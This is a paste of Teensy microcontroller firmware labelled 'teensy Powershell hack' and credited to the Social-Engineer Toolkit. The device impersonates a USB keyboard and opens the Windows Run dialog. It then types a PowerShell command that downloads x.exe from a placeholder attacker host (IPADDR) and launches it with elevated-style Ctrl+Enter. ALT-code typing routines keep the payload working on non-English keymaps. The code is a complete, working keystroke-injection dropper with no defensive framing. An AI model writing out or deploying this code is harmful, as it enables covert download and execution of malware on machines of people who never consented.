teensy Powershell hack


SUBMITTED BY: Guest

DATE: Dec. 2, 2013, 1:42 p.m.

FORMAT: C++

SIZE: 7.2 kB

HITS: 1037

  1. //
  2. // Social-Engineer Toolkit Teensy Attack Vector
  3. // Written by: Dave Kennedy (ReL1K) and Josh Kelley (WinFaNG)
  4. //
  5. // Special thanks to: Irongeek
  6. //
  7. // 2011-02-28 padzero@gmail.com
  8. // * Added "ALT code" print functions (ascii_*): Fixed payload execution on non-english keymap targets
  9. // * Change path from C:\ to %HOMEPATH%: Fixed payload execution on Windows 7
  10. //
  11. char convert[4] = "000"; // do not change this
  12. char command1[] = "powershell -Command $clnt = new-object System.Net.WebClient;$url= 'http://IPADDR/x.exe';$file = ' %HOMEPATH%\\x.exe ';$clnt.DownloadFile($url,$file);";
  13. char command2[] = "%HOMEPATH%\\x.exe";
  14. void setup() {
  15. delay(5000);
  16. omg(command1);
  17. Keyboard.set_key1(KEY_ENTER);
  18. Keyboard.send_now();
  19. delay(15000);
  20. // run this executable
  21. omg(command2);
  22. delay(2000);
  23. Keyboard.set_modifier(MODIFIERKEY_CTRL);
  24. Keyboard.set_key1(KEY_ENTER);
  25. Keyboard.send_now();
  26. Keyboard.set_modifier(0);
  27. Keyboard.set_key1(0);
  28. Keyboard.send_now();
  29. delay(1000000);
  30. }
  31. void loop() {}
  32. void ascii_type_this(char *string)
  33. {
  34. int count, length;
  35. length = strlen(string);
  36. for(count = 0 ; count < length ; count++)
  37. {
  38. char a = string[count];
  39. ascii_input(ascii_convert(a));
  40. }
  41. }
  42. void ascii_input(char *string)
  43. {
  44. if (string == "000") return;
  45. int count, length;
  46. length = strlen(string);
  47. Keyboard.set_modifier(MODIFIERKEY_ALT);
  48. Keyboard.send_now();
  49. for(count = 0 ; count < length ; count++)
  50. {
  51. char a = string[count];
  52. if (a == '1') Keyboard.set_key1(KEYPAD_1);
  53. if (a == '2') Keyboard.set_key1(KEYPAD_2);
  54. if (a == '3') Keyboard.set_key1(KEYPAD_3);
  55. if (a == '4') Keyboard.set_key1(KEYPAD_4);
  56. if (a == '5') Keyboard.set_key1(KEYPAD_5);
  57. if (a == '6') Keyboard.set_key1(KEYPAD_6);
  58. if (a == '7') Keyboard.set_key1(KEYPAD_7);
  59. if (a == '8') Keyboard.set_key1(KEYPAD_8);
  60. if (a == '9') Keyboard.set_key1(KEYPAD_9);
  61. if (a == '0') Keyboard.set_key1(KEYPAD_0);
  62. Keyboard.send_now();
  63. Keyboard.set_key1(0);
  64. delay(11);
  65. Keyboard.send_now();
  66. }
  67. Keyboard.set_modifier(0);
  68. Keyboard.set_key1(0);
  69. Keyboard.send_now();
  70. }
  71. char* ascii_convert(char string)
  72. {
  73. if (string == 'T') return "84";
  74. if (string == ' ') return "32";
  75. if (string == '!') return "33";
  76. if (string == '\"') return "34";
  77. if (string == '#') return "35";
  78. if (string == '$') return "36";
  79. if (string == '%') return "37";
  80. if (string == '&') return "38";
  81. if (string == '\'') return "39";
  82. if (string == '(') return "40";
  83. if (string == ')') return "41";
  84. if (string == '*') return "42";
  85. if (string == '+') return "43";
  86. if (string == ',') return "44";
  87. if (string == '-') return "45";
  88. if (string == '.') return "46";
  89. if (string == '/') return "47";
  90. if (string == '0') return "48";
  91. if (string == '1') return "49";
  92. if (string == '2') return "50";
  93. if (string == '3') return "51";
  94. if (string == '4') return "52";
  95. if (string == '5') return "53";
  96. if (string == '6') return "54";
  97. if (string == '7') return "55";
  98. if (string == '8') return "56";
  99. if (string == '9') return "57";
  100. if (string == ':') return "58";
  101. if (string == ';') return "59";
  102. if (string == '<') return "60";
  103. if (string == '=') return "61";
  104. if (string == '>') return "62";
  105. if (string == '?') return "63";
  106. if (string == '@') return "64";
  107. if (string == 'A') return "65";
  108. if (string == 'B') return "66";
  109. if (string == 'C') return "67";
  110. if (string == 'D') return "68";
  111. if (string == 'E') return "69";
  112. if (string == 'F') return "70";
  113. if (string == 'G') return "71";
  114. if (string == 'H') return "72";
  115. if (string == 'I') return "73";
  116. if (string == 'J') return "74";
  117. if (string == 'K') return "75";
  118. if (string == 'L') return "76";
  119. if (string == 'M') return "77";
  120. if (string == 'N') return "78";
  121. if (string == 'O') return "79";
  122. if (string == 'P') return "80";
  123. if (string == 'Q') return "81";
  124. if (string == 'R') return "82";
  125. if (string == 'S') return "83";
  126. if (string == 'T') return "84";
  127. if (string == 'U') return "85";
  128. if (string == 'V') return "86";
  129. if (string == 'W') return "87";
  130. if (string == 'X') return "88";
  131. if (string == 'Y') return "89";
  132. if (string == 'Z') return "90";
  133. if (string == '[') return "91";
  134. if (string == '\\') return "92";
  135. if (string == ']') return "93";
  136. if (string == '^') return "94";
  137. if (string == '_') return "95";
  138. if (string == '`') return "96";
  139. if (string == 'a') return "97";
  140. if (string == 'b') return "98";
  141. if (string == 'c') return "99";
  142. if (string == 'd') return "100";
  143. if (string == 'e') return "101";
  144. if (string == 'f') return "102";
  145. if (string == 'g') return "103";
  146. if (string == 'h') return "104";
  147. if (string == 'i') return "105";
  148. if (string == 'j') return "106";
  149. if (string == 'k') return "107";
  150. if (string == 'l') return "108";
  151. if (string == 'm') return "109";
  152. if (string == 'n') return "110";
  153. if (string == 'o') return "111";
  154. if (string == 'p') return "112";
  155. if (string == 'q') return "113";
  156. if (string == 'r') return "114";
  157. if (string == 's') return "115";
  158. if (string == 't') return "116";
  159. if (string == 'u') return "117";
  160. if (string == 'v') return "118";
  161. if (string == 'w') return "119";
  162. if (string == 'x') return "120";
  163. if (string == 'y') return "121";
  164. if (string == 'z') return "122";
  165. if (string == '{') return "123";
  166. if (string == '|') return "124";
  167. if (string == '}') return "125";
  168. if (string == '~') return "126";
  169. Keyboard.print(string);
  170. return "000";
  171. }
  172. void release_keys()
  173. {
  174. Keyboard.set_modifier(0);
  175. Keyboard.set_key1(0);
  176. Keyboard.send_now();
  177. delay(100);
  178. }
  179. void send_keys(byte key, byte modifier)
  180. {
  181. if(modifier)
  182. Keyboard.set_modifier(modifier);
  183. Keyboard.set_key1(key);
  184. Keyboard.send_now();
  185. delay(100);
  186. release_keys();
  187. }
  188. void omg(char *SomeCommand)
  189. {
  190. Keyboard.set_modifier(128);
  191. Keyboard.set_key1(KEY_R);
  192. Keyboard.send_now();
  193. Keyboard.set_modifier(0);
  194. Keyboard.set_key1(0);
  195. Keyboard.send_now();
  196. delay(1500);
  197. ascii_type_this(SomeCommand);
  198. Keyboard.set_key1(KEY_ENTER);
  199. Keyboard.send_now();
  200. Keyboard.set_key1(0);
  201. Keyboard.send_now();
  202. }

comments powered by Disqus